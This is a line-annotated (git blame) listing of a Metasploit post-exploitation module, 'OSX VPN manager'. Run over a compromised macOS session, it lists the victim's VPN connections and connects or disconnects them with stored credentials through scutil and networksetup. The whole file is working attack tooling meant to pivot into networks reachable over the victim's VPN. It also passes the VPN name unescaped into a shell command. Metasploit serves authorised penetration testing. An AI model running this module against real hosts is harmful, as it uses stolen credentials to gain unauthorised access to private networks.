2013-11-12 11:47:33 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::File
|
|
|
|
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
2013-11-13 07:57:50 +00:00
|
|
|
'Name' => 'OSX VPN manager',
|
2013-11-12 11:47:33 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module lists VPN connections and tries to connect to them using stored credentials.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Peter Toth <globetother[at]gmail.com>'
|
|
|
|
],
|
|
|
|
'Platform' => [ 'osx' ],
|
2013-11-13 00:54:42 +00:00
|
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
|
|
'Actions' => [
|
2013-11-12 11:47:33 +00:00
|
|
|
[ 'LIST', { 'Description' => 'Show a list of VPN connections' } ],
|
|
|
|
[ 'CONNECT', { 'Description' => 'Connect to a VPN using stored credentials' } ],
|
|
|
|
[ 'DISCONNECT', { 'Description' => 'Disconnect from a VPN' } ]
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'LIST'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2013-11-13 00:54:42 +00:00
|
|
|
OptString.new('VPN_CONNECTION', [true, 'Name of VPN connection. `set ACTION LIST` to get a list.', 'OSX_VPN']),
|
|
|
|
OptString.new('SCUTIL_PATH', [true, 'Path to the scutil executable.', '/usr/sbin/scutil']),
|
|
|
|
OptString.new('NETWORKSETUP_PATH', [true, 'Path to the networksetup executable.', '/usr/sbin/networksetup'])
|
2013-11-12 11:47:33 +00:00
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2013-11-13 00:54:42 +00:00
|
|
|
STR_CONNECTED = '* (Connected)'
|
|
|
|
STR_DISCONNECTED = '* (Disconnected)'
|
|
|
|
|
2013-11-12 11:47:33 +00:00
|
|
|
def run
|
|
|
|
fail_with("Invalid action") if action.nil?
|
|
|
|
|
2013-11-13 00:54:42 +00:00
|
|
|
if action.name == 'LIST'
|
2013-11-12 11:47:33 +00:00
|
|
|
data = get_vpn_list()
|
2013-11-13 00:54:42 +00:00
|
|
|
connected_names = parse_vpn_connection_names(data, true)
|
|
|
|
disconnected_names = parse_vpn_connection_names(data, false)
|
|
|
|
if connected_names.length > 0
|
|
|
|
print_status("VPN Connections Status: UP")
|
|
|
|
connected_names.each do |vpn_name|
|
|
|
|
print_good(' ' + vpn_name)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
if disconnected_names.length > 0
|
|
|
|
print_status("VPN Connections Status: DOWN")
|
|
|
|
disconnected_names.each do |vpn_name|
|
|
|
|
print_good(' ' + vpn_name)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
elsif action.name == 'CONNECT'
|
2013-11-12 11:47:33 +00:00
|
|
|
connect_vpn(true)
|
2013-11-13 00:54:42 +00:00
|
|
|
elsif action.name == 'DISCONNECT'
|
2013-11-12 11:47:33 +00:00
|
|
|
connect_vpn(false)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_vpn_list()
|
2013-11-13 00:54:42 +00:00
|
|
|
vprint_status(datastore['SCUTIL_PATH'].shellescape + " --nc list")
|
|
|
|
data = cmd_exec(datastore['SCUTIL_PATH'].shellescape + " --nc list")
|
2013-11-12 11:47:33 +00:00
|
|
|
return data
|
|
|
|
end
|
|
|
|
|
|
|
|
def parse_vpn_connection_names(data, show_up)
|
|
|
|
lines = data.split(/\n/).map(&:strip)
|
2013-11-13 00:54:42 +00:00
|
|
|
connection_names = Array.new()
|
2013-11-12 11:47:33 +00:00
|
|
|
|
2013-11-13 00:54:42 +00:00
|
|
|
lines.each do |line|
|
|
|
|
if show_up && line.start_with?(STR_CONNECTED)
|
|
|
|
connection_names.push(line.split('"')[1])
|
|
|
|
elsif !show_up && line.start_with?(STR_DISCONNECTED)
|
|
|
|
connection_names.push(line.split('"')[1])
|
2013-11-12 11:47:33 +00:00
|
|
|
end
|
|
|
|
end
|
2013-11-13 00:54:42 +00:00
|
|
|
return connection_names
|
2013-11-12 11:47:33 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def connect_vpn(up)
|
|
|
|
vpn_name = datastore['VPN_CONNECTION']
|
|
|
|
if up
|
|
|
|
header = "Connecting to VPN: #{vpn_name}"
|
2013-11-13 01:07:06 +00:00
|
|
|
connection_state = STR_CONNECTED
|
|
|
|
connection_unnecessary = "#{vpn_name} already connected"
|
2013-11-12 11:47:33 +00:00
|
|
|
else
|
|
|
|
header = "Disconnecting from VPN: #{vpn_name}"
|
2013-11-13 01:07:06 +00:00
|
|
|
connection_state = STR_DISCONNECTED
|
|
|
|
connection_unnecessary = "#{vpn_name} already disconnected"
|
2013-11-12 11:47:33 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
print_status(header)
|
|
|
|
data = get_vpn_list()
|
|
|
|
lines = data.split(/\n/).map(&:strip)
|
|
|
|
|
|
|
|
identifier = nil
|
2013-11-13 00:54:42 +00:00
|
|
|
lines.each do |line|
|
2013-11-12 11:47:33 +00:00
|
|
|
if line.split('"')[1] == vpn_name
|
|
|
|
if line.start_with?(connection_state)
|
|
|
|
print_status(connection_unnecessary)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
identifier = line.split(' ')[2]
|
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
if identifier.nil?
|
2013-11-13 01:07:06 +00:00
|
|
|
print_error("#{vpn_name} not found")
|
2013-11-12 11:47:33 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2013-11-13 00:54:42 +00:00
|
|
|
if up
|
|
|
|
cmd = datastore['NETWORKSETUP_PATH'].shellescape + " -connectpppoeservice '#{vpn_name}'"
|
|
|
|
else
|
|
|
|
cmd = datastore['SCUTIL_PATH'].shellescape + " --nc stop #{identifier}"
|
2013-11-12 11:47:33 +00:00
|
|
|
end
|
2013-11-13 00:54:42 +00:00
|
|
|
vprint_status(cmd)
|
|
|
|
cmd_exec(cmd)
|
2013-11-12 11:47:33 +00:00
|
|
|
end
|
|
|
|
end
|